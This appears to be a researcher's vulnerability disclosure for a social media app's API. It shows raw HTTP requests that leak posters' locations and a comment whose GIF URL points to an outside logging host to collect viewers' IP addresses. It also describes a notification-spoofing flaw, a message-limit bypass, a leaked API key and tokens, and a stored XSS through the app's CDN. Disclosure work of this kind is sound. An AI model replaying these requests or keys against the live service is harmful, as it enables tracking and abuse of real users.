News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"Object":{"Id":"85745ee0-0100-11f1-8080-80016875ab91","actor":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"aiGenerated":false,"foreign_id":"foreign_id:15091b60-a24f-44da-8379-2d95d4d072d4","lat":50.38999938964844,"lng":8.069999694824219,"location":{"city":"Limburg an der Lahn","countryCode":"DE","latitude":50.38999938964844,"longitude":8.069999694824219,"principalSubdivisionCode":"DE-HE"},"object":{"id":"15091b60-a24f-44da-8379-2d95d4d072d4","collection":"POST","foreign_id":"POST:15091b60-a24f-44da-8379-2d95d4d072d4","data":{"aiGenerated":false,"allowDownload":false,"aspectRatio":0.8,"caption":"US officials told Axios that 'Israel' is pressing for a military strike on Iran, but President Donald Trump is reluctant to act.\n\nRead more: http://en.royanews.tv/news/67363","mentionedUsers":{},"postType":"PHOTO","postsAttachment":[{"aspectRatio":0.8,"attachment":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/Image_ca8f2215-d032-4b8e-a6aa-26c91bbde120.jpg","blurHash":"LiHLPSxuD%Wo~WjYNHbIt8V@RikC","isThatImage":true,"taggedUsers":[],"tracks":[],"videoAttachment":"","videoDownloadUrl":"","videoHlsUrl":"","videoThumbnailUrl":""}],"publisherId":"a05d3292-61a2-47f7-8344-4f1da4307a22","sensitiveContent":false},"created_at":"2026-02-03T13:01:57.571824Z","updated_at":"2026-02-03T13:01:57.571824Z"},"origin":null,"own_reactions":{},"reaction_counts":{"COMMENT_POST":25,"HIDE":4,"LIKE_POST":179,"REPOST":27,"RESTORY":2},"target":"","time":"2026-02-03T13:01:57.582Z","verb":"POST"},"Target":{"Id":""},"Origin":null,"ReactionCounts":{"LIKE_STORY":5,"VIEW":167},"OwnReactions":{},"LatestReactions":null,"Id":"2e8e5e38-0104-11f1-8080-80017a81784b","Verb":"RESTORY","ForeignId":"reaction:eb5da693-9e03-4811-bc25-99ad65c706fb","Time":"2026-02-03T13:28:09.777516Z","To":null,"Score":null,"lat":31.969999313354492,"lng":35.88999938964844,"location":{"city":"Amman","countryCode":"JO","latitude":31.969999313354492,"longitude":35.88999938964844,"principalSubdivisionCode":"JO-AM"},"reaction":{"created_at":"2026-02-03T13:28:09.777516Z","updated_at":"2026-02-03T13:28:09.777516Z","id":"eb5da693-9e03-4811-bc25-99ad65c706fb","user_id":"a05d3292-61a2-47f7-8344-4f1da4307a22","user":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"kind":"RESTORY","activity_id":"85745ee0-0100-11f1-8080-80016875ab91","data":{"caption":"","mentionedUsers":{}},"target_feeds":["story:a05d3292-61a2-47f7-8344-4f1da4307a22"],"parent":"","latest_children":{},"children_counts":{}}},{"Actor":{"Id":"a05d3292-61a2-47f7-8344-4f1da4307a22","created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"Object":{"Id":"24da76b0-0104-11f1-8080-8000130f5f3d","actor":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"aiGenerated":false,"foreign_id":"foreign_id:36bd8d13-d0d4-4a79-a9b8-45a648279aac","lat":31.969999313354492,"lng":35.88999938964844,"location":{"city":"Amman","countryCode":"JO","latitude":31.969999313354492,"longitude":35.88999938964844,"principalSubdivisionCode":"JO-AM"},"object":{"id":"36bd8d13-d0d4-4a79-a9b8-45a648279aac","collection":"POST","foreign_id":"POST:36bd8d13-d0d4-4a79-a9b8-45a648279aac","data":{"aiGenerated":false,"allowDownload":false,"aspectRatio":0.8,"caption":"She will oversee communication with Arab audiences across multiple platforms, replacing Colonel Avichay Adraee, who served nearly two decades in the role.\nRead more: http://en.royanews.tv/news/67364","mentionedUsers":{},"postType":"PHOTO","postsAttachment":[{"aspectRatio":0.8,"attachment":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/Image_52f6def7-e981-42c9-a558-e1cf1a96dafb.jpg","blurHash":"LHAmPTo#0eV?rpkCXAV@I@aesRkC","isThatImage":true,"taggedUsers":[],"tracks":[],"videoAttachment":"","videoDownloadUrl":"","videoHlsUrl":"","videoThumbnailUrl":""}],"publisherId":"a05d3292-61a2-47f7-8344-4f1da4307a22","sensitiveContent":false},"created_at":"2026-02-03T13:27:53.493204Z","updated_at":"2026-02-03T13:27:53.493204Z"},"origin":null,"own_reactions":{},"reaction_counts":{"COMMENT_POST":43,"HIDE":5,"LIKE_POST":102,"REPOST":16,"RESTORY":1},"target":"","time":"2026-02-03T13:27:53.499Z","verb":"POST"},"Target":{"Id":""},"Origin":null,"ReactionCounts":{"LIKE_STORY":2,"VIEW":147},"OwnReactions":{},"LatestReactions":null,"Id":"2c727db4-0104-11f1-8080-8001451cf80a","Verb":"RESTORY","ForeignId":"reaction:5b13ddce-dfac-4d17-966a-60f7d9b1acf7","Time":"2026-02-03T13:28:06.239378Z","To":null,"Score":null,"lat":31.969999313354492,"lng":35.88999938964844,"location":{"city":"Amman","countryCode":"JO","latitude":31.969999313354492,"longitude":35.88999938964844,"principalSubdivisionCode":"JO-AM"},"reaction":{"created_at":"2026-02-03T13:28:06.239378Z","updated_at":"2026-02-03T13:28:06.239378Z","id":"5b13ddce-dfac-4d17-966a-60f7d9b1acf7","user_id":"a05d3292-61a2-47f7-8344-4f1da4307a22","user":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"kind":"RESTORY","activity_id":"24da76b0-0104-11f1-8080-8000130f5f3d","data":{"caption":"","mentionedUsers":{}},"target_feeds":["story:a05d3292-61a2-47f7-8344-4f1da4307a22"],"parent":"","latest_children":{},"children_counts":{}}},{"Actor":{"Id":"a05d3292-61a2-47f7-8344-4f1da4307a22","created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"Object":{"Id":"95f66e80-00d7-11f1-8080-80007f9785bc","actor":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"aiGenerated":false,"foreign_id":"foreign_id:1eca6490-330f-4700-93de-75766e10a04a","lat":31.979999542236328,"lng":35.869998931884766,"location":{"city":"Amman","countryCode":"JO","latitude":31.979999542236328,"longitude":35.869998931884766,"principalSubdivisionCode":"JO-AM"},"object":{"id":"1eca6490-330f-4700-93de-75766e10a04a","collection":"POST","foreign_id":"POST:1eca6490-330f-4700-93de-75766e10a04a","data":{"aiGenerated":false,"allowDownload":false,"aspectRatio":0.8,"caption":"A handful of injured Palestinians and their companions entered Egypt from Gaza on Monday, the first day of a limited reopening of the Rafah border crossing, a source at the border told AFP.\n\n\"Five injured people and seven companions\" crossed the border, the source said on Tuesday.\n\nThe number of patients allowed to enter Egypt through the crossing was limited to 50 on Monday, each accompanied by two companions, according to three officials at the Egyptian border.","mentionedUsers":{},"postType":"PHOTO","postsAttachment":[{"aspectRatio":0.8,"attachment":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/Image_e1194fa5-574f-499e-bc03-c0bf33572e5f.jpg","blurHash":"LHCF|:nm0etQXmNGxb%2FzkCr=f8","isThatImage":true,"taggedUsers":[],"tracks":[],"videoAttachment":"","videoDownloadUrl":"","videoHlsUrl":"","videoThumbnailUrl":""}],"publisherId":"a05d3292-61a2-47f7-8344-4f1da4307a22","sensitiveContent":false},"created_at":"2026-02-03T08:08:55.908275Z","updated_at":"2026-02-03T08:08:55.908275Z"},"origin":null,"own_reactions":{},"reaction_counts":{"COMMENT_POST":13,"LIKE_POST":299,"REPOST":66,"RESTORY":4},"target":"","time":"2026-02-03T08:08:55.912Z","verb":"POST"},"Target":{"Id":""},"Origin":null,"ReactionCounts":{"LIKE_STORY":11,"VIEW":359},"OwnReactions":{},"LatestReactions":null,"Id":"9eaada5c-00d7-11f1-8080-80001cc3281a","Verb":"RESTORY","ForeignId":"reaction:dae5125b-c140-4cd7-b7a4-1a2a3f023406","Time":"2026-02-03T08:09:10.516182Z","To":null,"Score":null,"lat":31.979999542236328,"lng":35.869998931884766,"location":{"city":"Amman","countryCode":"JO","latitude":31.979999542236328,"longitude":35.869998931884766,"principalSubdivisionCode":"JO-AM"},"reaction":{"created_at":"2026-02-03T08:09:10.516182Z","updated_at":"2026-02-03T08:09:10.516182Z","id":"dae5125b-c140-4cd7-b7a4-1a2a3f023406","user_id":"a05d3292-61a2-47f7-8344-4f1da4307a22","user":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"kind":"RESTORY","activity_id":"95f66e80-00d7-11f1-8080-80007f9785bc","data":{"caption":"","mentionedUsers":{}},"target_feeds":["story:a05d3292-61a2-47f7-8344-4f1da4307a22"],"parent":"","latest_children":{},"children_counts":{}}}],"LatestActivityTime":"2026-02-03T18:42:06.369923Z","LatestActivityId":"0a0a451e-0130-11f1-8080-800069ceb377","OwnStories":false,"AllViewed":false}]}

As you can see in the response, each by default has a location attached to it

"Score":null,"lat":31.979999542236328,"lng":35.869998931884766,"location":{"city":"Amman","countryCode":"JO","latitude":31.979999542236328,"longitude":35.869998931884766,"principalSubdivisionCode":"JO-AM"},

Posts leaking location:

Sending a POST request with a valid postid reveals the location the post was posted from

POST /api/activity/get HTTP/2
Host: xwm21a4m1c.execute-api.eu-west-1.amazonaws.com
User-Agent: Dart/3.9 (dart:io)
X-Api-Key: Wsjxb3BqTL72pfvB4ikO3aKR1fBsCFz63Jb1RuJ7
Accept-Encoding: gzip, deflate, br
Content-Length: 217
Authorization: Bearer <token here>
Content-Type: application/json
Sentry-Trace: 344a95f11e2e43c19299deacc4e76bf2-afa1b631c62e4d6d-0

{"postId":"1a2fe340-0130-11f1-8080-80001409a6ed","getStreamToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiN2E1YzA4YmEtMzY2ZS00YzNjLThkNzQtYjg0ZDBkZjdhYmFmIn0.40Xl8vSy7Cg1OF59pwnBiSAwM2GTXIw2fiH5DF2XbQs"}
HTTP/2 200 OK
Content-Type: application/json
Content-Length: 2634
Date: Tue, 03 Feb 2026 19:28:12 GMT
X-Amzn-Trace-Id: Root=1-69824c4c-11c0f898668a6fa20f6ec8af;Parent=4659d1733319a8f9;Sampled=0;Lineage=1:861ba2ac:0
X-Amzn-Requestid: a64fb1b7-ca2d-489a-876b-2c2f9dd29d62
Access-Control-Allow-Origin: *
X-Amz-Apigw-Id: YODcDEheDoEEdiw=
Access-Control-Allow-Methods: *
Isbase64encoded: true
X-Cache: Miss from cloudfront
Via: 1.1 940a9ab7e622eaa3f4ada41ac7c235d8.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: CAI50-P3
X-Amz-Cf-Id: Oue34-8_N8gCvLB5S_urKerXUr0o9fZBYqzoDXJgEqWChWX_fuES3g==

{"actor":{"created_at":"2026-01-27T10:56:19.418672Z","updated_at":"2026-01-28T06:05:47.038437Z","id":"a05d3292-61a2-47f7-8344-4f1da4307a22","data":{"ExternalLinks":[{"Title":"Facebook","Url":"https://www.facebook.com/share/1FUomN8L4h/?mibextid=wwXIfr"},{"Title":"YouTube","Url":"https://youtube.com/@royanewsenglish?si=d6J-_RBkq15-nDdQ"},{"Title":"Instagram","Url":"https://www.instagram.com/royanewsenglish?igsh=NGxxaTQzM3ozaXNw&utm_source=qr"}],"Handle":"royanewsenglish","IsActive":true,"IsPrivate":false,"IsVerified":true,"Name":"Roya News English","ProfileImgBlurhash":"LNA-M@og03NKb0t6j[M|9Hj[-.WC","ProfileImgUrl":"https://d2sscsmkqn4j9v.cloudfront.net/a05d3292-61a2-47f7-8344-4f1da4307a22/ProfileImage_0b88bc07-d2f2-4873-b300-499f87a37e71.jpg","UserId":"a05d3292-61a2-47f7-8344-4f1da4307a22"}},"aiGenerated":false,"foreign_id":"foreign_id:21e59960-20ae-4e84-acaa-704868e2a941","id":"1a2fe340-0130-11f1-8080-80001409a6ed","lat":31.969999313354492,"lng":35.88999938964844,"location":{"city":"Amman","countryCode":"JO","latitude":31.969999313354492,"longitude":35.88999938964844,"principalSubdivisionCode":"JO-AM"},"object":{"id":"21e59960-20ae-4e84-acaa-704868e2a941","collection":"POST","foreign_id":"POST:21e59960-20ae-4e84-acaa-704868e2a941","data":{"aiGenerated":false,"allowDownload":false,"aspectRatio":0.5625,"caption":"American commentator Tucker Carlson shares glowing remarks about Jordan during a recent visit, praising the country’s natural beauty, religious heritage, and preservation of historic sites. Carlson highlights Wadi Rum’s tranquility, the Baptism Site of Jesus on the Jordan River, and Petra’s ancient architecture, calling the Kingdom one of the most beautiful places on Earth.","mentionedUsers":{},"postType":"VIDEO","postsAttachment":[{"aspectRatio":0.5625,"attachment":"https://image.mux.com/YXCdcL3KMdr74YYoMqkYaSxNDciLyaS7NJor8rb3hrA/thumbnail.jpg","blurHash":"LC7^_V%24mIotnR*ROxZOGaes8of","isThatImage":false,"taggedUsers":[],"tracks":[],"videoAttachment":"","videoDownloadUrl":"https://stream.mux.com/KTnENoN00ROfwx2l8DEX6doZEGYfvkoIPLqtmohmB5RA/highest.mp4","videoHlsUrl":"https://stream.mux.com/YXCdcL3KMdr74YYoMqkYaSxNDciLyaS7NJor8rb3hrA.m3u8","videoThumbnailUrl":"https://image.mux.com/YXCdcL3KMdr74YYoMqkYaSxNDciLyaS7NJor8rb3hrA/thumbnail.jpg"}],"publisherId":"a05d3292-61a2-47f7-8344-4f1da4307a22","sensitiveContent":false},"created_at":"2026-02-03T18:42:33.451332Z","updated_at":"2026-02-03T18:42:33.451332Z"},"origin":null,"own_reactions":{},"reaction_counts":{"COMMENT_POST":2,"LIKE_POST":103,"REPOST":8,"RESTORY":1},"target":"","time":"2026-02-03T18:42:33.460000","verb":"POST"}

Submitting a malicious comment (or a story):

The app allows users to upload pictures or embed GIFs in comments. However, it trusts any URL provided by the client, which enables a malicious actor to submit a malicious link instead of an actual GIF or image link. This link will load the comments on every device that sees it, and the app automatically loads them client-side, revealing the user’s IP address, user agent, and potentially chained with a different on-site request (CSRF). This could lead to unauthorized actions, such as forcing a user to follow me.

POST /api/activity/post/comment/add HTTP/2
Host: xwm21a4m1c.execute-api.eu-west-1.amazonaws.com
User-Agent: Dart/3.9 (dart:io)
X-Api-Key: Wsjxb3BqTL72pfvB4ikO3aKR1fBsCFz63Jb1RuJ7
Accept-Encoding: gzip, deflate, br
Content-Length: 443
Authorization: Bearer <token here>
Content-Type: application/json
Sentry-Trace: 2d1192509f78410e80bc25181584af5a-a698c2a46e75401e

{"caption":"Love this!!","aspectRatio":1.509433962264151,"blurHash":null,"mentionedUsers":{},"gifUrl":"https://webhook.site/ba9a7d81-d295-488a-8ae5-5fce1bc2a934","postId":"e920a1e0-00d5-11f1-8080-80012565f61f","targetTo":["notification:2dc00974-0f5b-403b-b7b5-0bbbed1be360"],"getStreamToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoiNzVhNThjNDctNDlhMi00OWE3LThhOGUtYTFhZjNlOGVhZjg3In0.tuCAZAWS_MvafaOkiLSYfggub_92VsM-8aAML2RcJYY"}
HTTP/2 200 OK
Content-Type: application/json
Content-Length: 853
Date: Tue, 03 Feb 2026 08:03:12 GMT
X-Amzn-Trace-Id: Root=1-6981abc0-47d3205d67b246d02c6644e8;Parent=3d639db9f07df5ff;Sampled=0;Lineage=1:04204420:0
X-Amzn-Requestid: dbb77439-89b5-41f9-903e-1a0b7a3fe5f1
Access-Control-Allow-Origin: *
X-Amz-Apigw-Id: YMfGMHmwDoEELTA=
Access-Control-Allow-Methods: *
Isbase64encoded: true
X-Cache: Miss from cloudfront
Via: 1.1 0bf94438b3eef02a39d49cf397e563c2.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: MRS53-P4
X-Amz-Cf-Id: RXgI62BGAhpLxw4O3fafTTA5q0cryLXHze_8XhW1tTyiiK1ArgG-og==

{"created_at":"2026-02-03T08:03:12.898098Z","updated_at":"2026-02-03T08:03:12.898098Z","id":"702b37f0-13ca-4342-8f01-14fcbbd1a4a5","user_id":"75a58c47-49a2-49a7-8a8e-a1af3e8eaf87","user":{"created_at":"2026-01-31T23:57:38.571848Z","updated_at":"2026-01-31T23:57:38.571848Z","id":"75a58c47-49a2-49a7-8a8e-a1af3e8eaf87","data":{"Handle":"testacc1","IsActive":true,"IsPrivate":false,"IsVerified":false,"Name":"Saint","UserId":"75a58c47-49a2-49a7-8a8e-a1af3e8eaf87"}},"kind":"COMMENT_POST","activity_id":"e920a1e0-00d5-11f1-8080-80012565f61f","data":{"aspectRatio":1.509433962264151,"blurHash":null,"caption":"Love this!!","gifUrl":"https://webhook.site/ba9a7d81-d295-488a-8ae5-5fce1bc2a934","mentionedUsers":{}},"target_feeds":["notification:2dc00974-0f5b-403b-b7b5-0bbbed1be360"],"parent":"","latest_children":{},"children_counts":{},"duration":"22.18ms"}

In this specific example I was able to log requests from every user that has loaded the comment enter image description here

As you probably have noticed, there is a notification argument in the request, changing that to any valid userid allows client to send arbitrary comments and/or likes notifications to users who didn't originally make the post

There are also non massive privacy invasive bugs like bypassing the 1 message request limit, which allows a user who hasn't been accepted to continue sending messages just by changing a flag from "is_invitation":false to "is_invitation":true, deleted comments dont actually get deleted, they get hidden and any user that makes a GET request to the comments section on a post can see deleted comments.

The app also leaks sensitive API keys

GET /api/util/app-init HTTP/2
Host: xwm21a4m1c.execute-api.eu-west-1.amazonaws.com
User-Agent: Dart/3.9 (dart:io)
X-Api-Key: Wsjxb3BqTL72pfvB4ikO3aKR1fBsCFz63Jb1RuJ7
Accept-Encoding: gzip, deflate, br
Sentry-Trace: b55103b2a3ee4b3c98822d91823577a6-36f21ccc80ab4999
HTTP/2 200 OK
Content-Type: application/json
Content-Length: 1292
Date: Sat, 31 Jan 2026 21:32:21 GMT
X-Amzn-Trace-Id: Root=1-697e74e5-2b560db52d084d141d112e15;Parent=161909b5e986dc47;Sampled=0;Lineage=1:556f5b10:0
X-Amzn-Requestid: 59ed865e-199d-4e28-b304-df78f71d11a0
X-Amz-Apigw-Id: YEcz4GWbDoEEn1A=
X-Cache: Miss from cloudfront
Via: 1.1 ae045a09c544d6454a994246a7c445b6.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: IAD61-P10
X-Amz-Cf-Id: wc9HjohxhqN_PtpG8KErp4ATukdRQzdN689DaF0pmlzgK2StoSnGHQ==

{"/frontend/app/LaunchDate":"1980-01-01 00:00:00.000Z","/frontend/app/MinSupportedVersion":"1.0.0","/frontend/common/keys/Banuba":"<key here>","/frontend/common/keys/Banuba/ClosedCaptions":"<key here>","/frontend/common/keys/Getstream":"<key here>","/frontend/common/keys/Giphy":"<key here>","/frontend/common/keys/Google/Translation":"<key here>","/frontend/common/one-signal/AppId":"<key here>"}

The APK had a bunch of hardcoded keys as well, from what I observed most of which are relatively safe but some aren't

I have not tested these keys to confirm if they are valid.

Their AWS CDN is also vulnerable to arbitrary file upload which during the testing I have confirmed it could be used to execute JS scripts leading to XSS

this file will produce alert(1)

https://d2sscsmkqn4j9v.cloudfront.net/7a5c08ba-366e-4c3c-8d74-b84d0df7abaf/Image_b074eeae-5e3c-4529-b036-400bd5da8481.html

For more information, please contact me @ me@a7mad.cc

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment